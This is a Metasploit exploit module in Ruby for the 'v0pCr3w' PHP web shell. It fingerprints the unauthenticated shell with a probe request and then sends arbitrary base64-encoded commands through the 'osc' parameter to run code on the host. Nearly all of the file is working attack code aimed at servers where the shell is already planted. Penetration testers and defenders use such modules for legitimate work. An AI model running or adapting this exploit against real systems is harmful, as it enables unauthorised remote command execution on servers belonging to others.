v0pCr3w Web Shell Remote Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'v0pCr3w Web Shell Remote Code Execution',
			'Description'    => %q{
					This module exploits a lack of authentication in the shell developed by v0pCr3w
				and is widely reused in automated RFI payloads. This module takes advantage of the
				shell's various methods to execute commands.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'bwall <bwall[at]openbwall.com>',  # vuln discovery & msf module
				],
			'References'     =>
				[
					['URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell'],
					['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0']
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 2000,
					'BadChars' => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd'
						}
				},
			'Platform'       => ['unix', 'win'],
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['v0pCr3w / Unix', { 'Platform' => 'unix' } ],
					['v0pCr3w / Windows', { 'Platform' => 'win' } ]
				],
			'DisclosureDate' => 'Mar 23 2013',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]),
			],self.class)
	end

	def check
		shell = send_request_cgi({
			'method'   => 'GET',
			'uri'      => normalize_uri(target_uri.path.to_s),
			'vars_get' => {
				'lol' => '1'
			}
		})
		if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def http_send_command(cmd)
		p = Rex::Text.encode_base64(cmd)
		res = send_request_cgi({
			'method'   => 'GET',
			'uri'      => normalize_uri(target_uri.path.to_s),
			'vars_get' => {
				'osc' => p
			}
		})
		if not (res and res.code == 200)
			fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
		end
	end

	def exploit
		http_send_command(payload.encoded)
	end
end